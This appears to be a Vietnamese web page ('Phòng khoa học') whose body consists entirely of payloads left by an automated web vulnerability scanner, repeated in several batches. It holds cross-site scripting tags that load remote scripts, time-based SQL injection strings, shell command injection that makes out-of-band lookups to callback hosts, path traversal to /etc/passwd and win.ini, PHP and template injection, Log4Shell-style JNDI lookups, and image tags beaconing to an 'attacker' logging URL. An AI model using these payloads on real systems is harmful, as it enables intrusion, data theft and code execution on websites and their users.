Phòng khoa học

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9511'> 0

1<isindex type=image src=1 onerror=WzZm(9794)> 0

1<svg �onload=WzZm(9128);> 0

1<ScRiPt >WzZm(9268)</ScRiPt> 0

1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9887></ScRiPt> 0

1<ScRiPt >WzZm(9205)</ScRiPt> 0

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%57%7A%5A%6D%28%39%30%31%37%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E 0

1<script>WzZm(9373)</script> 0

1<WME5WN>G4USY[!+!]</WME5WN> 0

1<ScRiPt >WzZm(9086)</ScRiPt> 0

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o") 0

acx${98991*97996}::.x 0

acx[[${98991*97996}]]xca 0

acx{{98991*97996}}xca 0

1 0

@@HwaPx 0

1��%2527%2522 0

1'" 0

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' 0

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15) 0

i10ghMmK')) OR 975=(SELECT 975 FROM PG_SLEEP(15))-- 0

bC6EQS0b') OR 183=(SELECT 183 FROM PG_SLEEP(15))-- 0

cBKWaOcp' OR 798=(SELECT 798 FROM PG_SLEEP(15))-- 0

-1)) OR 401=(SELECT 401 FROM PG_SLEEP(15))-- 0

-5) OR 31=(SELECT 31 FROM PG_SLEEP(15))-- 0

-5 OR 494=(SELECT 494 FROM PG_SLEEP(15))-- 0

qUJYPqPZ')); waitfor delay '0:0:15' -- 0

392ar40D'); waitfor delay '0:0:15' -- 0

ICjON4VL'; waitfor delay '0:0:15' -- 0

1 waitfor delay '0:0:15' -- 0

-1)); waitfor delay '0:0:15' -- 0

-1); waitfor delay '0:0:15' -- 0

-1; waitfor delay '0:0:15' -- 0

(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/ 0

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z 0

1 0

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%> 0

1 0

<th:t="${acx}#foreach 0

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z 0

if(now()=sysdate(),sleep(15),0) 0

1 0

<%={{={@{#{${acx}}%> 0

acux8686%C0%BEz1%C0%BCz2a%90bcxuca8686 0

acu1396%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca1396 0

-1" OR 2+746-746-1=0+0+0+1 -- 0

-1' OR 2+353-353-1=0+0+0+1 or 'RlX6gG7m'=' 0

-1' OR 2+620-620-1=0+0+0+1 -- 0

-1 OR 2+611-611-1=0+0+0+1 0

-1 OR 2+497-497-1=0+0+0+1 -- 0

PxX4hdrE 0

1 0

19152165 0

1 0

'"()&%<acx><ScRiPt >WzZm(9297)</ScRiPt> 0

1 0

1'"()&%<acx><ScRiPt >WzZm(9261)</ScRiPt> 0

1 0

../1 0

1 0

../../../../../../../../../../../../../../windows/win.ini 0

../../../../../../../../../../../../../../etc/passwd 0

1 0

'+'A'.concat(70-3).concat(22*4).concat(113).concat(88).concat(110).concat(74)+(require'socket' Socket.gethostbyname('hitdo'+'dxeccjgg6b337.bxss.me.')[3].to_s)+' 0

"+"A".concat(70-3).concat(22*4).concat(106).concat(89).concat(97).concat(74)+(require"socket" Socket.gethostbyname("hitft"+"xrueowtae8ad4.bxss.me.")[3].to_s)+" 0

1 0

;(nslookup hitsxlpegdflm02359.bxss.me||perl -e "gethostbyname('hitsxlpegdflm02359.bxss.me')")|(nslookup hitsxlpegdflm02359.bxss.me||perl -e "gethostbyname('hitsxlpegdflm02359.bxss.me')")&(nslookup hitsxlpegdflm02359.bxss.me||perl -e "gethostbyname('hitsxlpegdflm02359.bxss.me')") 0

`(nslookup hitxlchkqiypn55166.bxss.me||perl -e "gethostbyname('hitxlchkqiypn55166.bxss.me')")` 0

|(nslookup hitdbgvnqvjche84ce.bxss.me||perl -e "gethostbyname('hitdbgvnqvjche84ce.bxss.me')") 0

&(nslookup hitvvlcmdsocu85edb.bxss.me||perl -e "gethostbyname('hitvvlcmdsocu85edb.bxss.me')")&'\"`0&(nslookup hitvvlcmdsocu85edb.bxss.me||perl -e "gethostbyname('hitvvlcmdsocu85edb.bxss.me')")&`' 0

$(nslookup hitmwaidzrffre1cb6.bxss.me||perl -e "gethostbyname('hitmwaidzrffre1cb6.bxss.me')") 0

1&n907858=v957514 0

(nslookup hitpvinvonhbfe6180.bxss.me||perl -e "gethostbyname('hitpvinvonhbfe6180.bxss.me')") 0

|echo vigfkq$()\ avzzmu\nz^xyu||a #' |echo vigfkq$()\ avzzmu\nz^xyu||a #|" |echo vigfkq$()\ avzzmu\nz^xyu||a # 0

&echo nfejmc$()\ zetxra\nz^xyu||a #' &echo nfejmc$()\ zetxra\nz^xyu||a #|" &echo nfejmc$()\ zetxra\nz^xyu||a # 0

1 0

echo yhbdtl$()\ zfpijl\nz^xyu||a #' &echo yhbdtl$()\ zfpijl\nz^xyu||a #|" &echo yhbdtl$()\ zfpijl\nz^xyu||a # 0

1 0

'.print(md5(31337)).' 0

1 0

${@print(md5(31337))}\ 0

${@print(md5(31337))} 0

";print(md5(31337));$a=" 0

1 0

';print(md5(31337));$a=' 0

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7')); 0

1 0

${9999678+9999715} 0

1 0

"+response.write(9402617*9298487)+" 0

bxss.me 0

http://bxss.me/t/fit.txt%3F.jpg 0

Http://bxss.me/t/fit.txt 0

1some_inexistent_file_with_long_name%00.jpg 0

http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg 0

1 0

'+response.write(9402617*9298487)+' 0

1 0

/xfs.bxss.me 0

${j${::-n}di:dns${::-:}//hitxwbltnsgxc2401f${::-.}bxss.me} 0

<!-- 0

'" 0

1 0

response.write(9402617*9298487) 0

1 0

^(#$!@#$)(()))****** 0

!(()&&!||| 0

1BFHIPcxhxO 0

) 0

1 0

12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡 0

0 bxss.me/t/xss.html?%00 0

1 0

U74nYtk6 0

1 0

HttP://bxss.me/t/xss.html?%00 0

1 0

'"() 0

1 0

0 1 0

))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) 0

1 0

/../../../../../../../../../../windows/system32/BITSADMIN.exe 0

1 0

".gethostbyname(lc("hiteg"."grrztxia926a5.bxss.me."))."A".chr(67).chr(hex("58")).chr(106).chr(73).chr(104).chr(80)." 0

1 0

'.gethostbyname(lc('hitlj'.'fwyrnehvbe9a1.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(67).chr(122).chr(71).' 0

1 0

1<esi:include src="http://bxss.me/rpb.png"/> 0

1 0

1<aBBIHxu< 0

1<img sRc='http://attacker-9879/log.php? 0

1<atVWRxM x=9103> 0

1<ifRAme sRc=9878.com></IfRamE> 0

1<WJHMJ7>ZXHSQ[!+!]</WJHMJ7> 0

1KW1SF <ScRiPt >tVae(9722)</ScRiPt> 0

1}body{acu:Expre/**/SSion(tVae(9301))} 0

<a HrEF=jaVaScRiPT:> 0

<a HrEF=http://xss.bxss.me></a> 0

1<input autofocus onfocus=tVae(9085)> 0

�<img acu onmouseover=tVae(91381) //�> 0

1<ScRiPt>tVae(9367)</sCripT> 0

1\u003CScRiPt\tVae(9663)\u003C/sCripT\u003E 0

%31%3C%53%63%52%69%50%74%20%3E%74%56%61%65%289775%29%3C%2F%73%43%72%69%70%54%3E 0

1<img/src=">" onerror=alert(9240)> 0

1<img src=xyz OnErRor=tVae(9271)> 0

1<img src=//xss.bxss.me/t/dot.gif onload=tVae(9360)> 0

1<body onload=tVae(9164)> 0

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9029'> 0

1<isindex type=image src=1 onerror=tVae(9641)> 0

1<svg �onload=tVae(9274);> 0

1<ScRiPt >tVae(9670)</ScRiPt> 0

1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9118></ScRiPt> 0

1<ScRiPt >tVae(9314)</ScRiPt> 0

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%74%56%61%65%28%39%35%39%36%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E 0

1<script>tVae(9563)</script> 0

1<WU2DH2>YJWGY[!+!]</WU2DH2> 0

1<ScRiPt >tVae(9145)</ScRiPt> 0

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o") 0

acx${98991*97996}::.x 0

acx[[${98991*97996}]]xca 0

acx{{98991*97996}}xca 0

1 0

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%> 0

1 0

<th:t="${acx}#foreach 0

1 0

<%={{={@{#{${acx}}%> 0

acux6552%C0%BEz1%C0%BCz2a%90bcxuca6552 0

acu3567%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca3567 0

19055847 0

'"()&%<acx><ScRiPt >tVae(9888)</ScRiPt> 0

1'"()&%<acx><ScRiPt >tVae(9356)</ScRiPt> 0

1<adoZeYY< 0

1<img sRc='http://attacker-9305/log.php? 0

1<atXRfee x=9463> 0

1<ifRAme sRc=9860.com></IfRamE> 0

1<W9EIJZ>KDS0S[!+!]</W9EIJZ> 0

@@mnNzn 0

1��%2527%2522 0

1'" 0

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' 0

1eQzS5 <ScRiPt >onUX(9462)</ScRiPt> 0

1}body{acu:Expre/**/SSion(onUX(9426))} 0

<a HrEF=jaVaScRiPT:> 0

<a HrEF=http://xss.bxss.me></a> 0

1<input autofocus onfocus=onUX(9118)> 0

�<img acu onmouseover=onUX(91261) //�> 0

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15) 0

1<ScRiPt>onUX(9961)</sCripT> 0

1\u003CScRiPt\onUX(9703)\u003C/sCripT\u003E 0

%31%3C%53%63%52%69%50%74%20%3E%6F%6E%55%58%289636%29%3C%2F%73%43%72%69%70%54%3E 0

uERMwGSN')) OR 283=(SELECT 283 FROM PG_SLEEP(15))-- 0

Zo2vikhL') OR 348=(SELECT 348 FROM PG_SLEEP(15))-- 0

lsClXLzO' OR 229=(SELECT 229 FROM PG_SLEEP(15))-- 0

1<img/src=">" onerror=alert(9774)> 0

-1)) OR 492=(SELECT 492 FROM PG_SLEEP(15))-- 0

-5) OR 671=(SELECT 671 FROM PG_SLEEP(15))-- 0

-5 OR 623=(SELECT 623 FROM PG_SLEEP(15))-- 0

7czX4h2Q')); waitfor delay '0:0:15' -- 0

vE5ogVGn'); waitfor delay '0:0:15' -- 0

u0oBV3Rw'; waitfor delay '0:0:15' -- 0

1 waitfor delay '0:0:15' -- 0

-1)); waitfor delay '0:0:15' -- 0

1<img src=xyz OnErRor=onUX(9268)> 0

1<img src=//xss.bxss.me/t/dot.gif onload=onUX(9608)> 0

-1); waitfor delay '0:0:15' -- 0

-1; waitfor delay '0:0:15' -- 0

(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/ 0

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z 0

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z 0

if(now()=sysdate(),sleep(15),0) 0

-1" OR 2+674-674-1=0+0+0+1 -- 0

-1' OR 2+396-396-1=0+0+0+1 or 'NXbe6dOG'=' 0

1<body onload=onUX(9312)> 0

-1' OR 2+865-865-1=0+0+0+1 -- 0

-1 OR 2+662-662-1=0+0+0+1 0

-1 OR 2+765-765-1=0+0+0+1 -- 0

5zIfMw38 0

1 0

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9865'> 0

1 0

1<isindex type=image src=1 onerror=onUX(9587)> 0

1 0

1<svg �onload=onUX(9869);> 0

1<ScRiPt >onUX(9212)</ScRiPt> 0

1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9367></ScRiPt> 0

1 0

1<ScRiPt >onUX(9507)</ScRiPt> 0

1 0

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%6F%6E%55%58%28%39%39%33%30%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E 0

1 0

1<script>onUX(9036)</script> 0

1<WTDK3G>LM38Q[!+!]</WTDK3G> 0

1<ScRiPt >onUX(9479)</ScRiPt> 0

1 0

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o") 0

acx${98991*97996}::.x 0

acx[[${98991*97996}]]xca 0

1 0

acx{{98991*97996}}xca 0

1 0

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%> 0

1 0

<th:t="${acx}#foreach 0

1 0

<%={{={@{#{${acx}}%> 0

acux1350%C0%BEz1%C0%BCz2a%90bcxuca1350 0

acu1774%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca1774 0

'.print(md5(31337)).' 0

${@print(md5(31337))}\ 0

${@print(md5(31337))} 0

";print(md5(31337));$a=" 0

';print(md5(31337));$a=' 0

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7')); 0

1 0

../1 0

1 0

../../../../../../../../../../../../../../windows/win.ini 0

../../../../../../../../../../../../../../etc/passwd 0

1 0

12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡 0

0 19278746 0

1 0

'"()&%<acx><ScRiPt >onUX(9975)</ScRiPt> 0

1'"()&%<acx><ScRiPt >onUX(9868)</ScRiPt> 0

1 0

bxss.me 0

^(#$!@#$)(()))****** 0

!(()&&!||| 0

) 0

1 0

http://bxss.me/t/fit.txt%3F.jpg 0

Http://bxss.me/t/fit.txt 0

1 0

'+'A'.concat(70-3).concat(22*4).concat(105).concat(76).concat(105).concat(67)+(require'socket' Socket.gethostbyname('hitzn'+'wpfhnqix5d7d4.bxss.me.')[3].to_s)+' 0

"+"A".concat(70-3).concat(22*4).concat(114).concat(86).concat(122).concat(77)+(require"socket" Socket.gethostbyname("hitkk"+"shedhokv3dc1b.bxss.me.")[3].to_s)+" 0

1 0

${j${::-n}di:dns${::-:}//hitqtnupslstk9e5a2${::-.}bxss.me} 0

".gethostbyname(lc("hitwk"."hhikbvsqd04a0.bxss.me."))."A".chr(67).chr(hex("58")).chr(104).chr(76).chr(101).chr(75)." 0

<!-- 0

'.gethostbyname(lc('hityg'.'hnlavjibfb2f5.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(70).chr(100).chr(90).' 0

1 0

;(nslookup hitagixmpjuqj003e1.bxss.me||perl -e "gethostbyname('hitagixmpjuqj003e1.bxss.me')")|(nslookup hitagixmpjuqj003e1.bxss.me||perl -e "gethostbyname('hitagixmpjuqj003e1.bxss.me')")&(nslookup hitagixmpjuqj003e1.bxss.me||perl -e "gethostbyname('hitagixmpjuqj003e1.bxss.me')") 0

`(nslookup hitmrvzxtjhdmc1f58.bxss.me||perl -e "gethostbyname('hitmrvzxtjhdmc1f58.bxss.me')")` 0

|(nslookup hitpvsnriwimt20153.bxss.me||perl -e "gethostbyname('hitpvsnriwimt20153.bxss.me')") 0

&(nslookup hithubpyxtegjf8c93.bxss.me||perl -e "gethostbyname('hithubpyxtegjf8c93.bxss.me')")&'\"`0&(nslookup hithubpyxtegjf8c93.bxss.me||perl -e "gethostbyname('hithubpyxtegjf8c93.bxss.me')")&`' 0

$(nslookup hitcyavwsfkfh1f91e.bxss.me||perl -e "gethostbyname('hitcyavwsfkfh1f91e.bxss.me')") 0

1 0

(nslookup hitcmrlxlotvr34c9d.bxss.me||perl -e "gethostbyname('hitcmrlxlotvr34c9d.bxss.me')") 0

|echo hwxbhl$()\ xvyogd\nz^xyu||a #' |echo hwxbhl$()\ xvyogd\nz^xyu||a #|" |echo hwxbhl$()\ xvyogd\nz^xyu||a # 0

&echo fbzaoj$()\ punfna\nz^xyu||a #' &echo fbzaoj$()\ punfna\nz^xyu||a #|" &echo fbzaoj$()\ punfna\nz^xyu||a # 0

1 0

1&n915953=v990114 0

echo vwfelb$()\ aqkngb\nz^xyu||a #' &echo vwfelb$()\ aqkngb\nz^xyu||a #|" &echo vwfelb$()\ aqkngb\nz^xyu||a # 0

1 0

/../../../../../../../../../../windows/system32/BITSADMIN.exe 0

'" 0

1 0

${10000095+9999393} 0

1 0

))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) 0

1 0

Kio8iwYA 0

1 0

'"() 0

1 0

/xfs.bxss.me 0

1 0

1some_inexistent_file_with_long_name%00.jpg 0

http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg 0

"+response.write(9343444*9286688)+" 0

1 0

'+response.write(9343444*9286688)+' 0

1 0

response.write(9343444*9286688) 0

1 0

0 1 0

1<esi:include src="http://bxss.me/rpb.png"/> 0

1 0

bxss.me/t/xss.html?%00 0

HttP://bxss.me/t/xss.html?%00 0

1 0

1<abxT7fz< 0

1<img sRc='http://attacker-9714/log.php? 0

1<a62vahn x=9766> 0

1<ifRAme sRc=9309.com></IfRamE> 0

1<WABJLW>UB8TN[!+!]</WABJLW> 0

1Vk3SP <ScRiPt >a6yy(9114)</ScRiPt> 0

1}body{acu:Expre/**/SSion(a6yy(9167))} 0

<a HrEF=jaVaScRiPT:> 0

<a HrEF=http://xss.bxss.me></a> 0

1<input autofocus onfocus=a6yy(9937)> 0

�<img acu onmouseover=a6yy(90451) //�> 0

1<ScRiPt>a6yy(9560)</sCripT> 0

1\u003CScRiPt\a6yy(9824)\u003C/sCripT\u003E 0

%31%3C%53%63%52%69%50%74%20%3E%61%36%79%79%289278%29%3C%2F%73%43%72%69%70%54%3E 0

1<img/src=">" onerror=alert(9021)> 0

1<img src=xyz OnErRor=a6yy(9476)> 0

1<img src=//xss.bxss.me/t/dot.gif onload=a6yy(9448)> 0

1<body onload=a6yy(9029)> 0

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9927'> 0

1<isindex type=image src=1 onerror=a6yy(9506)> 0

1<svg �onload=a6yy(9927);> 0

1<ScRiPt >a6yy(9369)</ScRiPt> 0

1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9800></ScRiPt> 0

1<ScRiPt >a6yy(9541)</ScRiPt> 0

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%61%36%79%79%28%39%31%30%32%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E 0

1<script>a6yy(9869)</script> 0

1<W9AWN3>6QJEL[!+!]</W9AWN3> 0

1<ScRiPt >a6yy(9184)</ScRiPt> 0

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o") 0

acx${98991*97996}::.x 0

acx[[${98991*97996}]]xca 0

acx{{98991*97996}}xca 0

1 0

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%> 0

<th:t="${acx}#foreach 0

<%={{={@{#{${acx}}%> 0

acux8585%C0%BEz1%C0%BCz2a%90bcxuca8585 0

acu10493%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca10493 0

19338185 0

'"()&%<acx><ScRiPt >a6yy(9955)</ScRiPt> 0

1'"()&%<acx><ScRiPt >a6yy(9265)</ScRiPt> 0

1<aJJrwsv< 0

1<img sRc='http://attacker-9383/log.php? 0

1<aPLI8XI x=9501> 0

1<ifRAme sRc=9474.com></IfRamE> 0

1<WGH8FB>H47RU[!+!]</WGH8FB> 0

1J6dn8 <ScRiPt >5i0w(9531)</ScRiPt> 0

1}body{acu:Expre/**/SSion(5i0w(9627))} 0

<a HrEF=jaVaScRiPT:> 0

<a HrEF=http://xss.bxss.me></a> 0

1<input autofocus onfocus=5i0w(9304)> 0

�<img acu onmouseover=5i0w(95421) //�> 0

1<ScRiPt>5i0w(9568)</sCripT> 0

1\u003CScRiPt\5i0w(9304)\u003C/sCripT\u003E 0

%31%3C%53%63%52%69%50%74%20%3E%35%69%30%77%289015%29%3C%2F%73%43%72%69%70%54%3E 0

1<img/src=">" onerror=alert(9747)> 0

1<aA9BGiA< 0

1<img sRc='http://attacker-9197/log.php? 0

1<img src=xyz OnErRor=5i0w(9690)> 0

1<img src=//xss.bxss.me/t/dot.gif onload=5i0w(9383)> 0

1<body onload=5i0w(9293)> 0

1<awDovUt x=9327> 0

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9887'> 0

1<ifRAme sRc=9904.com></IfRamE> 0

1<isindex type=image src=1 onerror=5i0w(9840)> 0

1<WA4XZK>8AU1A[!+!]</WA4XZK> 0

1pwwBf <ScRiPt >4mOq(9020)</ScRiPt> 0

1}body{acu:Expre/**/SSion(4mOq(9827))} 0

<a HrEF=jaVaScRiPT:> 0

1<svg �onload=5i0w(9584);> 0

<a HrEF=http://xss.bxss.me></a> 0

1<input autofocus onfocus=4mOq(9884)> 0

1<ScRiPt >5i0w(9219)</ScRiPt> 0

�<img acu onmouseover=4mOq(99401) //�> 0

1<ScRiPt>4mOq(9232)</sCripT> 0

1\u003CScRiPt\4mOq(9098)\u003C/sCripT\u003E 0

1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9666></ScRiPt> 0

%31%3C%53%63%52%69%50%74%20%3E%34%6D%4F%71%289216%29%3C%2F%73%43%72%69%70%54%3E 0

1<img/src=">" onerror=alert(9132)> 0

1<img src=xyz OnErRor=4mOq(9949)> 0

1<img src=//xss.bxss.me/t/dot.gif onload=4mOq(9536)> 0

1<ScRiPt >5i0w(9791)</ScRiPt> 0

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%35%69%30%77%28%39%37%34%36%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E 0

1<body onload=4mOq(9578)> 0

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9035'> 0

1<isindex type=image src=1 onerror=4mOq(9149)> 0

1 0

@@grYL4 0

1��%2527%2522 0

1'" 0

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' 0

1<svg �onload=4mOq(9876);> 0

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15) 0

1<script>5i0w(9706)</script> 0

KJSpEDuM')) OR 505=(SELECT 505 FROM PG_SLEEP(15))-- 0

EfKSaK6d') OR 952=(SELECT 952 FROM PG_SLEEP(15))-- 0

MFsgmGJ6' OR 47=(SELECT 47 FROM PG_SLEEP(15))-- 0

-1)) OR 951=(SELECT 951 FROM PG_SLEEP(15))-- 0

1<ScRiPt >4mOq(9611)</ScRiPt> 0

-5) OR 204=(SELECT 204 FROM PG_SLEEP(15))-- 0

1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9152></ScRiPt> 0

1<ScRiPt >4mOq(9740)</ScRiPt> 0

1<W6FRJU>RRO9S[!+!]</W6FRJU> 0

-5 OR 114=(SELECT 114 FROM PG_SLEEP(15))-- 0

1GKezprR')); waitfor delay '0:0:15' -- 0

e8iuJ3U2'); waitfor delay '0:0:15' -- 0

Yhl1F9S7'; waitfor delay '0:0:15' -- 0

1 waitfor delay '0:0:15' -- 0

-1)); waitfor delay '0:0:15' -- 0

-1); waitfor delay '0:0:15' -- 0

-1; waitfor delay '0:0:15' -- 0

(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/ 0

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z 0

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z 0

if(now()=sysdate(),sleep(15),0) 0

-1" OR 2+533-533-1=0+0+0+1 -- 0

-1' OR 2+31-31-1=0+0+0+1 or 'jufi9Bc5'=' 0

-1' OR 2+977-977-1=0+0+0+1 -- 0

-1 OR 2+562-562-1=0+0+0+1 0

-1 OR 2+359-359-1=0+0+0+1 -- 0

Zy8dsR23 0

1 0

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%34%6D%4F%71%28%39%30%31%34%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E 0

1 0

1<script>4mOq(9538)</script> 0

1 0

1<WJUUB3>LKZ1K[!+!]</WJUUB3> 0

1 0

1<ScRiPt >4mOq(9724)</ScRiPt> 0

;(nslookup hitrmxkeghyqf228d0.bxss.me||perl -e "gethostbyname('hitrmxkeghyqf228d0.bxss.me')")|(nslookup hitrmxkeghyqf228d0.bxss.me||perl -e "gethostbyname('hitrmxkeghyqf228d0.bxss.me')")&(nslookup hitrmxkeghyqf228d0.bxss.me||perl -e "gethostbyname('hitrmxkeghyqf228d0.bxss.me')") 0

'.print(md5(31337)).' 0

${@print(md5(31337))}\ 0

${@print(md5(31337))} 0

1 0

@@klgIa 0

";print(md5(31337));$a=" 0

';print(md5(31337));$a=' 0

1<ScRiPt >5i0w(9858)</ScRiPt> 0

1 0

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o") 0

1��%2527%2522 0

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7')); 0

1'" 0

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' 0

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15) 0

BzZNl8Mp')) OR 196=(SELECT 196 FROM PG_SLEEP(15))-- 0

JpQUQT1K') OR 418=(SELECT 418 FROM PG_SLEEP(15))-- 0

X9uFFt3G' OR 834=(SELECT 834 FROM PG_SLEEP(15))-- 0

-1)) OR 152=(SELECT 152 FROM PG_SLEEP(15))-- 0

-5) OR 513=(SELECT 513 FROM PG_SLEEP(15))-- 0

-5 OR 798=(SELECT 798 FROM PG_SLEEP(15))-- 0

fZFFwwiH')); waitfor delay '0:0:15' -- 0

huX779Fd'); waitfor delay '0:0:15' -- 0

ADfcVADT'; waitfor delay '0:0:15' -- 0

1 waitfor delay '0:0:15' -- 0

-1)); waitfor delay '0:0:15' -- 0

-1); waitfor delay '0:0:15' -- 0

-1; waitfor delay '0:0:15' -- 0

(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/ 0

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z 0

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z 0

if(now()=sysdate(),sleep(15),0) 0

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o") 0

-1" OR 2+250-250-1=0+0+0+1 -- 0

-1' OR 2+157-157-1=0+0+0+1 or 'nGZKDosz'=' 0

-1' OR 2+75-75-1=0+0+0+1 -- 0

-1 OR 2+833-833-1=0+0+0+1 0

acx${98991*97996}::.x 0

`(nslookup hitjjmohwnnrd7998a.bxss.me||perl -e "gethostbyname('hitjjmohwnnrd7998a.bxss.me')")` 0

acx[[${98991*97996}]]xca 0

acx{{98991*97996}}xca 0

acx${98991*97996}::.x 0

acx[[${98991*97996}]]xca 0

acx{{98991*97996}}xca 0

|(nslookup hitsvmjxxxtzq4d076.bxss.me||perl -e "gethostbyname('hitsvmjxxxtzq4d076.bxss.me')") 0

1 0

12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡 0

0 1 0

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%> 0

1 0

-1 OR 2+696-696-1=0+0+0+1 -- 0

NRQT7ZmX 0

1 0

&(nslookup hithamkizjmqqdede4.bxss.me||perl -e "gethostbyname('hithamkizjmqqdede4.bxss.me')")&'\"`0&(nslookup hithamkizjmqqdede4.bxss.me||perl -e "gethostbyname('hithamkizjmqqdede4.bxss.me')")&`' 0

$(nslookup hitjrkbcqzbqbf5823.bxss.me||perl -e "gethostbyname('hitjrkbcqzbqbf5823.bxss.me')") 0

(nslookup hityihtyfureg2fb5b.bxss.me||perl -e "gethostbyname('hityihtyfureg2fb5b.bxss.me')") 0

|echo ubmbzr$()\ uagvwa\nz^xyu||a #' |echo ubmbzr$()\ uagvwa\nz^xyu||a #|" |echo ubmbzr$()\ uagvwa\nz^xyu||a # 0

1 0

&echo qzjmrl$()\ axbnak\nz^xyu||a #' &echo qzjmrl$()\ axbnak\nz^xyu||a #|" &echo qzjmrl$()\ axbnak\nz^xyu||a # 0

echo orvtua$()\ cjbpeh\nz^xyu||a #' &echo orvtua$()\ cjbpeh\nz^xyu||a #|" &echo orvtua$()\ cjbpeh\nz^xyu||a # 0

1 0

<th:t="${acx}#foreach 0

1 0

1<esi:include src="http://bxss.me/rpb.png"/> 0

1 0

<%={{={@{#{${acx}}%> 0

1 0

"+response.write(9945534*9835339)+" 0

'+response.write(9945534*9835339)+' 0

1&n911691=v928471 0

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%> 0

1 0

